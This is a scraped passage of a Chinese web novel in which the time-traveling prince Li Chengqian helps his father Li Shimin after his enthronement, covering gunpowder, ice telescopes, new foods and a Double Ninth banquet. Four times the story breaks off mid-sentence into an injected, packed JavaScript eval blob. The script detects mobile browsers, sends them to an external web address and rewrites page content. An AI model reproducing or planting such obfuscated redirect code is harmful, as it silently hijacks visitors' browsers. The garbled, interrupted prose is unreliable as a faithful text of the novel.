李世民道:“阿耶既然不愿意让出太极殿,我这个做儿子的,难道还要像之前那样再强逼一次父亲吗?我能否顺利即位,靠得又不是那一座宫殿,就算不在太极殿即位又如何?” 半晌,他缓和了口气:“即位大典定在东宫显德殿,只是白费了音娘你之前的一番心思,又得重新计划布置了。” 长孙无音摇头:“我做的那点事倒是没什么,之前都是礼部的官员们在做事,他们恐怕要头疼了,天子在东宫即位,此前从未有过,也不知道他们要翻多少古书籍。” “你担心他们做什么。”李世民顿了一下,“对了,审查内侍和宫女的事,需要音娘你再废些心思。我从前倒从未想过,我这宫里竟成了个筛子,有陛下、建成、元吉之前留下的人倒也罢了,居然还有前隋的间人,连突厥的间人都有。” 长孙无音:“我知道。” 李世民将妻子搂进怀里:“辛苦你了,音娘。” 12.即位 八月癸亥日,大唐皇帝李渊正式传召: 言自己英华已竭,年老倦勤。 而皇太子李世民天纵神武,自李唐开创霸业以来,世民首举义旗,攻克长安,接连平定薛举、刘武周、窦建德、王世充、刘黑闼等一众势力,雄才宏略,大唐开创之功,皆赖世民。 今日传皇帝位于世民,所司备礼,以时册授。 将自己尊为太上皇。 同时布告天下,让天下百姓都知道这件事。 当日,皇太子李世民即位于东宫显德殿。太上皇李渊命司空、魏国公裴寂在南郊架高台烧柴,以告上天。 …… 当日,李世民即皇帝位典礼结束。 傍晚,天空被夕阳染红,李渊站在太极殿前,回望着这座华丽雄伟的大殿。 他宠爱多年的昭仪宇文氏走到他身边,白皙滑嫩的手握住他那双已经布满皱纹斑块的老手,劝慰道:“太上皇,现下已经入秋,此处风大,臣妾扶您回去休息吧。” 李渊拉起她的手,看着尚且如同二八少女的宇文昭仪:“昔日朕要封你为皇后,你坚决拒绝,如今可后悔?” 宇文昭仪温婉一笑:“陛下又在说笑了。陛下厚爱,妾本不该推辞,可是妾之贤良比不上穆皇后分毫,怎能厚颜为后?” 李渊问道:“你当初拒绝皇后之位,到底是不愿,还是不敢?” 宇文昭仪一时间沉默,过了一会儿才道:“时至今日,陛下又何必为难臣妾。” 李渊大笑道:“朕知道,你怕他,你们都怕他,你们所有人都怕他……” “哈哈哈哈哈哈……你们都怕他……” 宇文昭仪苦笑一声:“陛下,风大了,臣妾扶您回去休息。” 李渊再次看向被夕阳笼罩的太极殿,突然道:“这座太极殿,我住不了多久了。” …… 东宫,丽正殿。 李世民在内侍的帮助下脱下大朝服,抱住妻子长孙无音,满脸写着不高兴。 长孙无音无奈,让丈夫头枕在自己腿上,指腹一下一下帮他轻柔地按压着太阳穴:“今日二郎即皇帝位,今后便是天子,该高兴些才是呀!” 李世民呼出一口气,没有说话。 长孙无音继续帮他揉着太阳穴:“今日二郎累了一天,去榻上小憩一会儿吧。” 李世民摇头,继续枕在妻子腿上。 他突然叹道:“我今生父子情缘竟如此浅薄。” 长孙无音噗嗤一声,莞尔一笑:“诶呀,昔日的太原公子,如今竟也有这样多愁善感的时候,居然还讲起佛缘了。” 李世民闻言起身,把妻子抱进怀里揉搓:“好啊,音娘你不劝慰我也就罢了,如今居然还嘲笑我,看我怎么罚你。” “别,别闹,痒……” 夫妻俩玩闹了一阵,长孙无音整理着自己散乱的头发。 李世民重新打起精神:“来人,传中山王。” …… 李承乾很快到了,向父母行礼问安:“阿耶,阿娘。” 李世民把他叫到跟前:“承乾,我听陆德明说,你近日读书大有长进,可有什么想要的,阿耶赐给你如何?” 李承乾道:“果真?” 李世民笑道:“当然是真的,阿耶什么时候骗过你?” 李承乾道:“我想请阿耶召一人入朝。” 李世民诧异道:“何人?还需你特意说一声?” 李承乾:“京兆华原人,孙思邈。” 李世民叹道:“原来是他。我知道他,昔日梁王(指独孤信)称孙思邈为圣童,说他善谈老庄及百家之学。后来隋文帝征他为国子博士,他又以疾病拒绝。只是他虽然通晓经义,却比不上你的几位先生,你怎么会突然想到他?” 李承乾道:“我请阿耶召他入朝,并非为释译经书典籍。只因此人善医。虽然现下世人都称医道为小道,可在孩儿看来,良医却可治国。再者,阿翁年事已高,阿娘体弱,正是需要良医的时候。” 李世民点头:“如此,便依你所言,召他入长安。只是召孙思邈入长安,是你为孙为子的孝心,这不算得是赏赐。承乾,你还有什么别的想要的吗?” 李承乾想了想,对一旁的长孙无音道:“阿娘,永兴里的那所宅子,我可以将它改建吗?” 长孙无音点头:“既然把它给了你,那自然是任你处置。” 李承乾看向李世民:“那等到我想要改建那座宅子的时候,阿耶调拨些工匠给我吧。” 李世民好奇道:“承乾,你要将那座宅子改成什么样?” 李承乾:“我现在还没想好,等我想好了再告诉阿耶吧。” 李世民点头:“可以。” 李承乾突然问道:“阿耶既然已经为天子,那是不是该称‘朕’了?” 李世民拧了一下长子的脸颊:“那是在外人面前。你我父子,又非外人,何必讲哪些虚礼?好了,你今日也累了一天了,早点回去休息吧。” 李承乾:“是,孩儿告退。” 抒发完自己对长子的一腔慈父之情,李世民又把李泰和李丽质两个叫来,好好抒发了一番父子、父女之情,这才把他们放回去休息。 …… 李世民即位之后,大赦天下,把自武德元年以来因言流放的人都赦免放环。对外,五品以上的文武百官身上没有爵位的,赐爵一级;六品以下加勋一转。天下免赋税徭役一年。对内,按照之前长孙无音整理出来的宫女名单,颁布放宫女诏,放掖庭三千宫女回家,让她们自由娶嫁。 …… 八月甲戌日,李世民得到泾州传来的消息,突厥入侵泾州。 东宫,显德殿。 李世民对长孙无忌道:“尉迟敬德那边,可准备妥当了?” 长孙无忌道:“陛下放心,尉迟将军已经在泾阳一带布兵,只等诱敌深入,一举拿下。” …… 东宫,丽正殿。 李承乾正在母亲殿内帮忙誊写册封皇后典礼所需要的物资。 长孙无音看着装饰彩绸单子上所需要的布匹数量,对尚功局宫正道:“不必为我一人耗费这么多绸缎,数量上减去一半吧。如今国中既有战事,一切从简就好。” 尚功局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后方的军队还没反应过来前面为什么会突然乱起来,突然一只唐军轻骑在后方出现,朝他们射来一片箭雨。那弓箭上似乎绑着什么东西,一时间炸开,后方的马顿时也受到惊吓,在军队中乱跑。 颉利可汗骑在马上,极力控制着身下受惊的马匹,他看向远处冲来的那只大唐骑兵,大叫:“这到底是什么东西?为什么他们的马不受影响?” 他身边的护卫被刚才接连不断的爆炸震得耳鸣,完全听不清他说的话。 只能看着那只唐军轻骑向他们杀来…… …… 东宫,显德殿。 “陛下,泾阳捷报,行军总管尉迟敬德大破敌军,俘获突厥颉利、突利,斩首数千级。” 李世民大笑:“好,命尉迟敬德整备兵马,留将备守泾阳,追击流窜突厥。让他带人入京献俘。” “是。” 朝中众臣闻此消息,祝贺道:“臣等恭喜陛下。” 李世民道:“来人,将这个好消息上报给太上皇。” 13.千年 突厥颉利可汗、突利可汗被俘的消息传到丽正殿,殿中众人都是满心欢喜。 李承乾笑道:“阿娘总算可以松一口气了。” 长孙无音脸上露出笑容:“是呀,虽然突厥仍在我朝北面盘踞,但他们的两位首领被俘,国中至少两年内可以免于战火侵扰了。” 李承乾看着母亲,趁机建议道:“既然如此,阿娘就安心等着明日的册后典礼,不要再改动了。” “你呀,怎么比我还要上心?”长孙无音嗔怪地看了长子一眼,“你这几日都在我这边帮忙,你的先生们就不怪罪?” 李承乾道:“阿娘忘了,我之前说过的,我早和几位先生告了假,几位先生都体谅我是为母尽孝,同意我上午休息半日的。” 长孙无音笑道:“好好好,你总有你的道理。” 李承乾:“阿娘能永远这样开心地笑就好了。” 长孙无音不解其意。 李承乾却把自己整个人埋进母亲的怀里,享受着这一刻的静谧,没有再说话。 长孙无音笑着抱住长子,轻轻抚摸着他的背脊:“承乾,你呀,如今比丽质还爱撒娇了。” 李承乾依旧埋在母亲怀里:“我向阿娘撒娇又不丢人。” 李承乾刚在母亲怀里赖了一会儿,就被一只大手从母亲怀里拎了出来。李承乾看向大手的主人,闷声道:“阿耶安好。” 李世民拎着长子衣领把他放在地上,捏了捏长子的脸蛋:“在你阿娘怀里笑得那么开心,怎么见了你阿耶我,立刻就不笑了?嗯?” 李承乾把自己被捏红的脸从父亲手里拯救出来,抱怨道:“阿耶,你力气太大了,我脸很痛诶。” 李世民嘲讽道:“连这点痛都吃不住,我看你阿娘说的没错。承乾,你真是越来越娇气了。” 李承乾哼了一声,故意问道:“阿耶,火药好用吗?” 李世民咳嗽两声:“行,阿耶不逗你了。说吧,承乾,你还有什么神兵利器没有拿出来。” 李承乾问道:“阿耶,你的内库中有琉璃器吗?” 李世民不知道长子没有突然提起这个,但还是答道:“之前我打下洛阳紫微城的时候,倒是从隋炀帝的宝库中得到过一些,只是大多都赐给了功臣。我库中只怕也不多了,承乾你若是想要,到时候让人把东西送到你殿内,你看着喜欢的自己挑一些吧。” 李承乾摇头道:“阿耶,我不要那些琉璃珠。内库中有没有那种晶莹剔透,如同冰雪一般纯净的琉璃器?” 李世民让人把管理内库的内侍叫来,那内侍听了李承乾的要求后答道:“确实有一宝瓶,晶莹如冰雪。” 李承乾吩咐道:“你去取来给我看看。对了,如果库中有其他纯净的宝石水晶,也一并取来。” 内侍看向李世民:“陛下,这……” 李世民点头:“去吧。” 内侍很快就把李承乾要的葫芦琉璃瓶取来了,另外还有一对水晶琉璃鸟,也一并送来。能被李世民收入内库的琉璃器,自然样样都是精品。雕刻精美,工艺复杂。 只是李承乾看了之后,却对着李世民摇头:“阿耶,这不是我想要的那种琉璃。我想要的那种玻璃,只怕现在的工匠还造不出来。” 长孙无音在一旁道:“承乾想要的,是能透光的材料吧。那选纯净的云母如何?”她指了指殿内头顶用于采光的明瓦:“这种行吗?” 李承乾道:“可以试试看,但我不知道能不能达到我想要的效果。” 李世民好奇道:“难道承乾你新的神兵利器就是用这些东西做的?” 李承乾命人取来纸笔,画了一副望远镜的草图,解释道:“此物叫做望远镜,又叫千里镜。阿耶若是命人拿着此物站在高处,可视千里。此物可对阿耶有用?” 李世民沉默良久:“承乾你所说,可是真的?若是此物真有如此功效,只怕堪比一军统帅。” 李承乾点头:“自然是真的。只是我不知道用其他材料,能不能做出和玻璃一样的效果,毕竟不同的材料对光的折射率不一样。” 李世民好奇道:“折射率?” 李承乾见母亲也一脸好奇,于是把义务教育阶段关于光沿直线传播、光的反射、光的折射、凸透镜、凹透镜的光学知识点简单讲解了一遍。 虽然没有完全理解承乾的意思,但无论李世民还是长孙无音都是聪慧之人,还是能大概明白其中的原理。 长孙无音回忆道:“我记得《淮南万毕术》里说,‘取大镜高悬,置水盆于下,则见四邻矣。’,是不是和承乾刚才说的光的反射是一个道理?” 李承乾点头:“阿娘说的这个涉及到的原理是光的反射,和平面镜反射有关。” 李世民道:“那本书还是我和音娘一起看到呢,我记得书里还说:‘削冰令圆,举以向日,以艾承其影,则火生。’看来指的就是和凸透镜有关的光的会聚?” 李承乾点头:“可以用冰生火,也可以用冰制作凸透镜和凹透镜。等到冬日结冰的时候,先把水煮沸,再用此水凝冰,生成的冰块会比较硬,易于雕琢,阿耶可以命人用冰制作望远镜,看看效果。” 李世民正要点头,却见李承乾突然一拍脑袋:“对了,我想起来了,还可以用硝石制冰。那样的话,阿耶今天就能看到望远镜的效果了。阿耶,硝石应该还没有用完吧。” “还没有,还有一部分存于库中,令府兵严加看守。”李世民叹道:“没想到这小小硝石,用处还真多。除了制取火药,居然还能制冰?这倒是有趣。若它真有如此功效,夏日倒是可以少些燥热了。” 虽然从周代开始,朝廷便命官员冬日于河中取冰,藏于山中,夏日再取出使用,只是等到夏日,冰融化得太多,朝中需要的人又多,用起冰来到底不够爽快。 李承乾道:“硝石的用处可多了,还可以用来制备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14305504|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硝酸甘油,是一种比之前的火药烈性更强的炸-药……” 说到这里,李承乾突然想到硝酸甘油也能用来治疗心绞痛和心力衰竭,不知道能不能用来改善母亲的气疾。他原本想着在这个时代有火药就已经足够,但现在看来还是得想办法把硝酸甘油制备出来。 李世民见李承乾突然停下不说,问道:“怎么了?想到了什么?” 李承乾摇头道:“没什么。阿耶,我刚才说的硝酸甘油制备条件比较复杂,所以之前才没有告诉你。” 李世民拍拍长子的肩膀,宽慰道:“我还以为是什么事呢?承乾,你不必多心,阿耶不会怀疑你的。” 想了想,李世民突然问道:“承乾,这些知识都是你到千年之后知道的?” 李承乾点头。 李世民虽然已经从爱妻长孙无音那里知道承乾去过千年之后,但因为谶言多祸,承乾不主动说,他也就不多问。 今天听承乾说起千年之后的这一堆知识,倒是难得起了好奇心:“承乾,千年之后到底是什么样的?你之前说的火药、望远镜,这些东西于国朝战事有大用,只怕不是一般人能知道的吧。” 李承乾摇头:“稚童若是有心,只要识字便可知晓。若是按照一般人的话,这些知识点是在十几岁的时候学习的。” 李世民大惊:“这怎么可能?千年之后的皇帝难道不怕百姓知道这些知识之后造反吗?” 李承乾看向父亲,笑道:“阿耶,千年之后,在这片土地上,没有皇帝,没有贵族。千年之后,人人有饭吃,有衣穿,有书读,有病看。老有所终,壮有所用,幼有所长,鳏寡孤独废疾者,皆有所养。” 李世民突然陷入沉默:“千年之后,居然是这样的盛世景象。这到底需要付出多少努力才能达成如此盛世?想来国朝开立者,必是一位千年不出的圣人。” 李承乾见父亲似乎因此有些落寞,上前拉住李世民的手,看着他,安慰道:“阿耶,你大可不必去和千年之后做比较。白驹过隙,沧海桑田,千年之后与现在想比,变化实在太大。想我刚才说的那些知识,都是在一二百年见突然涌现一批科学家之后,迅速传播的,和如今的情况截然不同。” “况且,在历史上,阿耶你所开创的,也是一片盛世啊。自三代以下,未见其比也。这也是阿耶的成绩啊。” 李世民看了看眼前的长子,又看了看一旁的爱妻,道:“好,我如今有承乾,总要比史书里的那个‘我’做得更好才是。音娘,我先回显德殿了。” “诶,阿耶?”李承乾眼见着父亲头也不回地往殿外走,转头看向阿娘:“可是,阿耶就是因为到了用午食的时候才回来的吧?他又回显德殿做什么?那儿又没人,朝中大臣也去用饭了吧。” 长孙无音笑道:“承乾,看来,你阿耶被你描绘的盛世景象彻底鼓动,干劲十足呢。” 李承乾:“……”好幼稚啊,阿耶。 14.食物 次日是长孙无音被册封为皇后的日子,其庄严肃穆、盛大绚丽自然不必多提,从这天起,她不再是太子妃,而是成为一国皇后,和她的丈夫一起,站在皇权的至高位上。 不过,一国皇后也有为小女儿烦恼的时候。 作为大唐帝后的嫡长女,六岁的李丽质也到了换牙的时候。而且她还不是一颗牙一颗牙地换,而是接连掉了好几颗,新牙还没长好,又有乳牙掉了,吃稍微硬一点的东西都不方便,只能每天喝粥,好不可怜。 这日午后,李承乾来丽正殿查看昨日硝石制冰情况的时候,就看到妹妹奄奄地窝在母亲怀里撒娇。 李丽质见李承乾进殿,才慢吞吞站起来,用手捂着嘴小声喊了一声:“阿兄好。” 李承乾点了点头,先对母亲行礼问安,才转头笑着对妹妹道:“丽质怎么今天这么没精神?来,把手拿开,给阿兄看看。” 李丽质用手捂着嘴,发出的声音有些含糊:“那我把手拿开,阿兄不许笑话我。” 李承乾点头:“阿兄一定不笑你。” 李丽质这才把一直捂着嘴的小手放下,小心翼翼地张开嘴让李承乾看。 李承乾见妹妹上下都四颗门牙都掉了,口腔里的磨牙掉了好几颗,牙龈也有些发肿,只有四颗虎牙和几颗切牙还在牙床上坚守。 李承乾仔细看了看妹妹的牙齿,让人打水洗手后还亲自摸了一遍,皱眉道:“丽质怎么会一下子掉这么多牙?这还怎么吃东西?” 他看向母亲,询问道:“阿娘可有让太医署的人来看过?丽质这样换牙,会不会有什么问题?” 长孙无音笑道:“你阿耶已经让太医来瞧过一回了,没什么大碍。小儿换牙,本就是常有的事。只是丽质掉牙的速度确实比旁人要快上许多。” 李承乾摸了摸妹妹有些发肿的小脸,心疼道:“疼不疼?” 李丽质摇摇头,重新用小手捂住脸:“不疼,但是阿兄我觉得我的脸好热,好痒。” 李承乾道:“昨日阿娘命人制冰,取冰来给你敷一敷,应该会好受一些。” 李丽质乖乖点头。 李承乾今日本就是来查看硝石制冰的效果的。内侍把制作好的几盒冰送上来,李承乾点了几盒结的比较坚硬的冰,让人打磨出凸透镜和凹透镜。又让人取了碎冰,用布包上给妹妹冷敷。 李丽质摸着冷敷在脸上的布包,好奇道:“这是去年冬日存下来的冰吗?” 李承乾看向母亲,见她点头,没有隐瞒的意思,才细细地为妹妹解释起来。 没一会儿,内侍就把打磨好的几个冰制凸透镜、凹透镜送了上来,还细心地把冰块镶嵌在木制环里,加了手柄,有点像简易的放大镜。 李承乾试了效果,又让长孙无音透过连成直线凸透镜和凹透镜望向远方。 长孙无音惊讶道:“这望远镜果然有奇效。这凸透镜的放大之效倒也很适合老人。” 李承乾点头:“若是做成镜片带在脸上,就是老花镜了。正适合目力衰退的老人。” 李丽质在他身后道:“阿兄,我也想看。” 李承乾就把已经做好的几个冰制透镜都给妹妹玩,又让人重新做一批,送去显德殿给阿耶查看效果。 突然,身后传来“咕咕”声,李承乾转身,就看到妹妹不好意思地捂住了肚子。 李承乾看向站在一旁侍奉的李丽质的乳母:“五娘子今日都用了些什么?” 那乳娘小心翼翼地答道:“因为娘子这几日都不大方便吃硬的东西,所以只用了些水饭肉糜。” 连续几天都只是喝粥,怎么会不饿? 李丽质抱着兄长撒娇:“阿兄,我想吃咸肉,不想喝粥了。你帮我想想办法好不好?” 李承乾想了想,看向长孙无音:“阿娘,让尚食局的人给丽质做些肉松吧。” 李丽质好奇道:“阿兄,肉松是什么?” 李承乾解释道:“取猪瘦肉或鸡肉,沸水煮熟,撕成长条,加料汁调味,再翻炒至干燥,做出来的肉如丝状,这就是肉松了。” 长孙无音点头,吩咐人按照中山王说的办法去做些鸡肉松来。 李承乾见阿娘没有提起猪肉,这才恍惚间想起,现在的人大多是吃羊肉,不吃猪肉的,一是因为猪肉有腥臭味,二是如今的猪不是近现代引进的荷兰白猪,而是黑猪,个头比较小,出肉率和羊差不多。对于百姓来说,自然是养羊更加划算。 李承乾询问刚才送冰来的内侍:“还有多余的冰吗?” 那内侍点头:“回中山王,还有不少呢。” 李承乾便让人取来羊奶,静置分层之后,让人放在冰上打发出奶油。又把蛋糕的制作方法告诉尚食局的人,让他们去做些蛋糕来。 能进尚食局的厨子都是聪明人,之前没有想到制作这些东西只是缺乏灵感,但如今有李承乾的话作为点拨,很快就把几样东西做好送了上来。 蛋糕香软,肉松咸香,再加上奶油更是美味。 李丽质毕竟是小孩子,这段时间又因为换牙一直半饥半饱,这下吃到松软的蛋糕,立刻笑得牙不见眼。 长孙无音略微尝了一些蛋糕和肉松,点了点头,吩咐内侍:“让尚食局再做两份,一份献给太上皇,一份送到显德殿陛下那里。” 内侍应道:“是。” 这顿饭算是李丽质的加餐,李承乾和长孙无音一样,只尝了一些,就放下了。 李丽质摸了摸小肚子:“啊,我吃饱了。”她看向母亲:“阿娘,我暮食的时候能不能也吃蛋糕啊?” 长孙无音看向女儿:“食适可勿过则,今晚不许再吃蛋糕了,只许你用松肉配粥吃。” 李丽质失落地低下头:“是,我知道了,阿娘。” 李承乾见妹妹可怜,连忙求情道:“阿娘,今日就再让丽质吃一些吧,丽质这些日子瘦了很多呢。” 长孙无音见李承乾为妹妹求见,感慨他们兄妹和睦,又心疼女儿,道:“那就再让你吃一小块吧。” 李丽质立刻高兴起来:“谢谢阿娘,谢谢阿兄。” …… 暮食的时候,李世民从显德殿回来正陪着妻子用饭,便有太上皇的口谕传来,说今日皇后进献的肉松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315537|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和蛋糕都很不错,松软咸香适合老人食用,又赏赐了一些穆皇后当年的用过的首饰。 长孙无音谢了恩领了赏,就看到李世民正对着送来的其中一只簪子出神。 李世民见妻子面带不解地看过来,怀念道:“这是当年我的外祖母襄阳公主留给我母亲的旧物。外祖母去世之后,母亲便常常看着这只簪子怀念外祖母。” 他把簪子轻轻插-进妻子的发髻里:“你好好珍惜吧。” 长孙无音摸了摸发髻侧面的簪子,把自己投入丈夫怀里:“嗯,我会的。” 李世民带着长孙无音重新坐下用饭,等到两人吃完,内侍把碗筷餐具给撤了,他才笑问道:“今日怎么想出来做这样的食物?那蛋糕倒也罢了,虽然松软,但中间都是孔洞,吃下去都是虚的。倒是那肉松干燥,可以长久保存,若是行军时带上,作为军需,倒是极为便利。” 长孙无音解释道:“不是我的主意,是承乾见丽质换牙,吃不了硬东西,才想出来的这些办法。” 李世民仔细琢磨了一会儿,揣测道:“这样食不厌精、脍不厌细的精巧食物,只怕也是承乾从千年之后学到的。” “对了,我今日看了内侍送来的凹凸二镜,其效果果然如承乾所说,若是行军中带上望远镜,大益我军。看来还是得命琉璃匠人仔细研制才行。若是他们制作不出来,那就只能广召国内工匠想办法了。” 说起行军,长孙无音便想到了被尉迟敬德俘虏的两个突厥可汗,虽然如今两人还在被押送进长安的路上,但有些事情却不可不做准备:“颉利、突利二人,二郎要如何待他们?” 一般来说,抓到敌军首领,要么当场杀了,那么将其封王封侯,荣养起来,当个吉祥物。 恰如当年陈朝被隋所灭,作为亡国之君的陈后主并没有被隋文帝杀掉。相反,隋文帝为了安抚新加入隋朝的陈朝官员,对陈后主颇为礼遇厚待。 但这次的情况却不太一样,突厥的两个可汗虽然被抓,但突厥国内仍有主事之人,军力也未完全削弱。轻易放了两人当然不行,但要是一直把他们留在手上,也是一桩麻烦事。 李世民道:“音娘怎么突然问起这件事?” 长孙无音道:“之前二郎让我审问掖庭宫女,其中有不少的前朝隋皇后的人,隋皇后被义成公主接入突厥之后,这些人就成了义成公主留下的奸细。” 义成公主是隋朝宗室女,当年被隋文帝送到突厥和亲,嫁给当时突厥的启民可汗,等启民可汗死后,又先后嫁给始毕可汗、处罗可汗、颉利可汗。说起来,义成公主和长孙无音也算是颇有渊源,当年送义成公主下嫁突厥的官员,正是长孙无音的父亲长孙晟。 李世民冷笑一声:“这个杨氏女野心颇大,她和颉利这对夫妻凑到一处,只怕要把这天下搅得天翻地覆。况且隋炀帝的孙子杨政道还活着,还被突厥立为隋王。虽然他并非真正的隋主,但到底令我不快。” “今日我和群臣商议,打算把颉利的叔叔突利换回去,让他去和杨氏女斗,大唐也可休息两年。” 长孙无音点头:“如此也好。” 15.重阳 八月的最后一天,行军总管尉迟敬德押送装有突厥首领颉利和突利的囚车进入长安,为太上皇李渊和皇帝李世民献囚,其军容之盛,蔚为壮观。 自大唐建立以来,突厥就多次南下侵扰。虽然大唐和突厥曾经互有约定,但突厥却多次违反。如今李世民初登基便拿下突厥的两个首领,如此功绩,自然在朝中的威望更盛。那些李渊任命的老臣,不得不暂时蜷缩起来,收敛锋芒。 大朝会上,面对两位突厥首领献马献羊,希望放归的请求,李世民既没有同意也没有拒绝,只是邀请两位可汗在长安住些时日。再过几日就是重阳佳节,先过了节再说。 …… 李承乾听完陆德明对朝中之事的讲述,不由笑出声:“突厥人又不过重阳节,阿耶还真是狭促。” 陆德明闻言皱眉,提醒道:“中山王慎言。” 李承乾察觉自己话中失了尊重,收敛了笑容:“是。是我失言,先生勿怪。” 陆德明无奈地摇摇头,拿起书继续给中山王讲解。 他看着李承乾伏案认真书写,心中不由想到,这对天家父子之间的感情和睦,只怕比一般的小民之家父子感情还要深厚,只是又想到当今陛下曾经弑兄囚父,如今陛下待中山王宽厚疼爱,不知将来会如何?不由便想得深了。 李承乾在纸上写完一句话,久久没有听到陆德明继续讲课,不由抬头看向陆德明,却见陆德明正望着自己发呆。 这倒是少见。 陆德明治学严谨,不苟言笑,李承乾还从未见过他发呆走神的样子,想着陆德明如今已经七十多岁,老迈力弱,放到现代早该是退休的年纪,不由道:“先生若是累了,就先歇一歇,待会儿再讲课吧。” 陆德明这才回过神,想到自己才刚教训过中山王,随即自己就犯了错,不由有些讪讪的。 李承乾也没有多说什么,只让内侍送上茶水点心。 陆德明看着放在托盘上的茶具和点心,端起一盏茶,发现里面竟然不是抹茶,而是冲泡茶,不由有些惊讶。 李承乾解释道:“我喝不惯抹茶,命人重新制作铁锅炒茶冲泡。想来是内侍弄错,把我常喝的茶给先生送了上来。先生若是喝不惯,就让人换一盏茶吧。” 陆德明摇头:“这倒是不必,瞧这茶叶在水中沉浮,倒也有几分禅意。” 他又看向送上来的点心,因为重阳将至,尚食局应景地送上了麻葛糕、菊花糕,还有嵌了榛子果仁的小蛋糕。 前两样倒也罢了,不过是应重阳的景。最后一样糕点倒确实少见,吃进嘴中绵软香甜,回味无穷。 陆德明想到家中老母亲牙齿已经掉光,吃这样绵软的点心倒是不费牙,容易消化,有心向中山王讨要一些,但一时却张不开口。 吃过茶水点心,陆德明继续给李承乾上课。 等到课上完,临要走的时候,李承乾特意让人打包了一盒子点心,给陆德明带上:“听说先生家中有老母幼孙,我特意叫人装了些点心,给老人家换换口味吧。” 陆德明见中山王如此说,就知道是自己刚才吃蛋糕发呆的时候神情上露出了马脚,却不想中山王如此细心,不由心中一热:“如此,就多谢中山王了。” 李承乾笑道:“先生用心教导我,与我有师生之谊,又何必如此客气。我送先生。” 李承乾一路把陆德明送到嘉福门处,这才往回走。他结束课程的时候,差不多也是李世民的重臣们结束商议出东宫的时候,李承乾和他们点头示意,也不多话。 …… 回到自己居住的宫殿,李承乾命人把挂在自己寝殿窗前的那把巨弓取下来,用松脂干布认真保养起来。 王乳娘见状,笑道:“大郎又在擦这把弓了,可见确实对这把弓喜爱至极。” 李承乾笑道:“是啊,可惜我至今为止还是拉不开它。” 王乳娘道:“大郎如今还小呢,等再过几年,力气大了,必然就能拉开了。” 李承乾点点头,没有再多说。 …… 很快就到了九月初九重阳日。 为了接待在长安“做客”的两位突厥可汗,李世民不仅在太极殿宴请太上皇李渊及群臣,还命五品以下的官员在玄武门比赛骑射,以选先勇。 宴会上,作为李世民的嫡长子,李承乾自然要带领几个弟弟们为祖父李渊献酒祝寿。 回到自己的坐席之后,李承乾用余光看向坐在最上首的太上皇李渊,虽然阿翁执意没有迁宫,导致阿耶作为皇帝只能住在东宫,但此时举行宴会,还是放在了阿翁的太极殿,只怕阿翁此刻心中也是滋味难辨吧。 心里正想着,七岁的李泰就端起酒杯,向坐在身边的李承乾敬酒:“大兄,臣弟敬你一杯。” 李承乾看着七岁的李泰像模像样地给自己敬酒,心中只觉得好笑。 一众弟妹之中,异母的弟妹暂时不去论,同母的弟妹中他只和丽质年龄相仿,关系最好。之后出生的雉奴、城阳、晋阳、衡山,和他的年龄相差太大。虽然都是同母弟妹,但是他们读书习字的时候,他早已经在朝中听政,彼此之间也没什么话可说。 至于青雀,他从小就极为聪明。 对于他长大之后想当太子的想法,李承乾其实也不是不能理解。 大家都是同母兄弟,年龄只差一岁,谁也没比谁多三头六臂,凭什么你就是太子,大唐未来的主人,而我只是一个小小的魏王? 更何况李承乾自己在贞观十年之后还做了那么多错事…… 只是现在,李承乾看着端着酒杯向自己敬酒的七岁小胖墩,不由无奈摇头,他招手叫来一旁倒酒的内侍,吩咐道:“把几位皇子桌上的酒都给撤了,谁准你们给他们上酒的。再去看看几位小皇叔的案上,若是有酒,也一并撤了。” 内侍连忙称是。 李承乾接过李泰递过来的酒杯,放到内侍的托盘上:“青雀,你如今年纪尚小,不宜饮酒,让内侍给你换成饮子吧。” 李泰气急败坏,但又不好多说什么,只好闷闷地应道:“是,多谢阿兄关心。” 坐在上方李世民注意到下面的动静,召来内侍询问动静,闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14329729|152062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言笑道:“米酒又不醉人,承乾也太过小心了。” 一旁的李渊听到这话笑道:“我看承乾做得很对,倒是越来越有长兄之风了。不像你小时候,总是馋我杯中的酒,喝醉了又爱耍酒疯,你大兄怎么都拦不住你……” 说罢,李渊想起长子建成已经被二郎所杀,至今不过三个月有余,自觉失言,自顾自地喝起酒来。 听到父亲提起长兄,李世民不免觉得有些尴尬,也喝起闷酒来。 